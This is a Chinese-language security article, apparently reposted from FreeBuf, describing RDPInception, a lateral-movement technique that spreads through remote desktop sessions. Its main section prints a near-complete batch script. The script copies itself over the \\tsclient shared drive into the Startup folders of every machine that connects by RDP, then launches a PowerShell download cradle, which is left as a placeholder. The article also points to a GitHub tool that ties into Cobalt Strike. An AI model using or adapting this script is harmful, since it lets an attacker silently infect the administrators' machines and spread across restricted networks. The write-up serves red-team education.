RDPInception:一种利用远程桌面的新型攻击方式

发表于:2017-07-10 09:52:09 来源:  FreeBuf.COM 阅读数(0人)



远程桌面(Remote Desktop)是系统管理员管理计算机设备的常用方法。在很多组织机构内部,针对DMZ或隔离网络区域内的计算机设备,为了限制其它接入端口风险,通常对这些设备只开启3389,使用远程桌面来进行管理维护。那如何成功地对这种受限网络设备完成渗透测试呢?今天我们就来探讨一种新型攻击方法:RDPInception。


在远程桌面中,用户可以在“本地资源”选项中,选择要在远程会话中共享使用的“本地设备和资源”,如本地磁盘和打印机等,如图所示:




现在,被安全研究者提及较多的是,远程桌面方式存在一种理论攻击路径风险:通过入侵一台计算机或服务器,在其操作系统“做手脚”,实现某些攻击向量的后门化,以RDP连接请求为“中介跳板”,对以RDP方式接入这台设备的外来访客计算机发起攻击或感染,这种攻击被称为RDPInception(远程桌面的盗梦空间?)。


RDPInception攻击最新研究


ActiveBreach团队的Vincent Yiu根据这种攻击思路开发了一个概念性验证PoC脚本,利用该脚本可以以递归方式对RDP接入设备的访客计算机发起攻击,通过这种反向层层传导、步步顺藤摸瓜的手法,直至对任何向目标设备发起RDP请求连接的计算机形成攻击控制。目前,该攻击已有效应用于ActiveBreach团队多种模拟评估和复杂渗透测试场景中。大体思路是这样的:


在渗透测试中,如果我们获得某台服务器C的控制权,而最终目标是PC X,但由于对方高度安全的网络环境限制,我们只有采取RDPInception攻击方式,通过对接入C的服务器B进行攻击控制,之后,对接入B的服务器A进行攻击控制,最终,对接入A的PC X形成攻击控制。


整个攻击链如下:


PC X RDP to Server A

Server A RDP to Server B

Server B RDP to Server C

RDPInception攻击机制


总体来说,RDPInception基于“启动(Startup)”程序,也就是利用大家熟知的“启动项”目录,强制登录进入的RDP访客计算机执行恶意代码。大概场景如下:




在该场景中,处于外网攻击者通过其它渗透手段已经获得了数据库服务器DB001的管理控制权,正试图利用该服务器为据点发起RDPInception攻击。


处于内网的组织机构内部管理员利用笔记本电脑LAPTOP001,通过RDP方式连入某台跳板节点服务器MJB001,然后再通过该服务器RDP连入某域控服务器DC001,通过DC001 RDP连入文件服务器FILE001,最后由FILE001 RDP连接至被攻击者控制的数据库服务器DB001。


在这条攻击链路中,攻击者可以在任意计算机设备中发起RDPInception攻击。按照RDPInception攻击理论,只要管理员以RDP方式登录到这条路径中的任何一台设备,攻击者就可以循环反复获取到所有设备的管理控制shell。而攻击者唯一要做的就是在DB001上发起RDPInception攻击,一旦DB001受到攻击“感染”,之后,只需静静等待管理员发起RDP连接请求,其余的后续攻击可由程序自动完成。这种攻击技术无需用户凭证或其它漏洞利用,可在受限网络环境的横向渗透测试中发挥作用。


RDPInception攻击应用场景


这种攻击适用于端口和应用等其它接入条件高度受限的网络环境下,当其它横向渗透技术或提权操作被用完用尽,陷入“黔驴技穷”和一筹莫展状况时,可考虑使用此招。


我们可以来假设一种现实中的攻击应用场景:某公司员工在凌晨4点通过远程RDP方式登录受控服务器,整个登录会话持续了5分钟。在这种情况下,即使蹲点守候的攻击者持续监控接入的RDP会话,但也很难马上部署好攻击或诱骗环境。另外,长时间大流量的RDP网络会话监控可能会引起对方怀疑,而即使是间隔每小时的流量监控设置也会错过一些RDP登录会话接入。所以,RDPInception就不存在这种问题,不用持续监控,只需对入侵服务器部署好攻击向量,姜太公钓鱼,自会让那些愿者陆续上钩。


RDPInception攻击实现


RDPInception的PoC验证程序是一个简单的批处理脚本,详细使用步骤如下:


关闭echo响应功能:


@echo off

设置一个短时计数器,以确保tsclient进程被完全加载:


timeout 1 >nul 2>&1

在RDP接入的访客设备以及被控目标主机上创建临时目录:


mkdir \\tsclient\c\temp >nul 2>&1
mkdir C:\temp >nul 2>&1

将我们在Github提供的批处理文件run.bat拷贝到以上两个目录:


copy run.bat C:\temp >nul 2>&1
copy run.bat \\tsclient\c\temp >nul 2>&1

确保在临时目录下不存在txt文件:


del /q %TEMP%\temp_00.txt >nul 2>&1

在RDP访客主机以及被控目标主机上识别出所有系统启动目录:


set dirs=dir /a:d /b /s C:\users\*Startup*
set dirs2=dir /a:d /b /s \\tsclient\c\users\*startup*
echo|%dirs%|findstr /i “Microsoft\Windows\Start Menu\Programs\Startup”>>”%TEMP%\temp_00.txt”
echo|%dirs2%|findstr /i “Microsoft\Windows\Start Menu\Programs\Startup”>>”%TEMP%\temp_00.txt”

将上述run.bat批处理文件一一拷贝到以上目录下:


for /F “tokens=*” %%a in (%TEMP%\temp_00.txt) DO (

copy run.bat “%%a” >nul 2>&1

copy C:\temp\run.bat “%%a” >nul 2>&1

copy \\tsclient\c\temp\run.bat “%%a” >nul 2>&1

)

清理临时文件夹:


del /q %TEMP%\temp_00.txt >nul 2>&1

使用PowerShell来执行其它后续恶意程序:


powershell.exe <cradle here>

RDPInception攻击与其它手段的配合应用


为了提高某些特定受限环境下的攻击测试成功率,建议配合其它手段或Payload执行攻击,这些可配合利用的条件包括:


用户名

用户域

子网信息

例如,使用用户域时,我们可以对攻击脚本作出如下修改


If “<DOMAINNAME>“==”%USERDOMAIN%” (<powershell cradle here>)

RDPInception攻击利用工具


我们在Github上公开了RDPInception攻击的利用脚本,它可以配合Cobalt Strike框架完成自动化攻击。大家可以自行修改其批处理脚本,或与其他渗透工具(如Empire)共同使用。


直接运行rdpinception,选择HTTP、HTTPS或DNS监听类型,就OK了;如果你以“rdpinception ACME”模式运行,如果要把脚本在域下运行,假设用户域为ACME,那么运行模式就是“rdpinception ACME”。工具详情参考Github


攻击视频演示



相关新闻

大家都在学

课程详情

信息安全基础

课程详情

网络安全漫谈

课程详情

网络安全基础